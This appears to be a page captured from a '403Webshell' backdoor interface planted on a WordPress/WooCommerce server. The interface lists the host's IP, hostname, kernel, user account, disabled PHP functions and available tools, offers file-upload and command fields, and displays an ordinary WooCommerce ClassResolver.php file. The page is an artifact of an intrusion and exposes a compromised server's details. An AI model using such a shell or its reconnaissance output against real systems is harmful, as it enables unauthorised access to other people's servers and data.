403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/mimradmin/www/wp-content/plugins/woocommerce/src/Api/Infrastructure/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/mimradmin/www/wp-content/plugins/woocommerce/src/Api/Infrastructure/ClassResolver.php
<?php

declare(strict_types=1);

namespace Automattic\WooCommerce\Api\Infrastructure;

/**
 * Class resolver for code-API command classes and other infrastructure classes.
 *
 * Plugins that implement their own API and want their command and infrastructure
 * classes instantiated through a container of their own can ship their own
 * ClassResolver class at `<plugin-api-namespace>\Infrastructure\ClassResolver`
 * with the same public signature: ApiBuilder detects it during generation
 * and routes the generated resolvers through it. When no such class is present,
 * resolvers fall back to `new $class_name()`.
 */
final class ClassResolver {
	/**
	 * Resolve a class to an instance.
	 *
	 * @param string $class_name Fully qualified name of the class to resolve.
	 * @return object An instance of $class_name.
	 */
	public static function resolve_class( string $class_name ): object {
		return wc_get_container()->get( $class_name );
	}
}

Youez - 2016 - github.com/yon3zu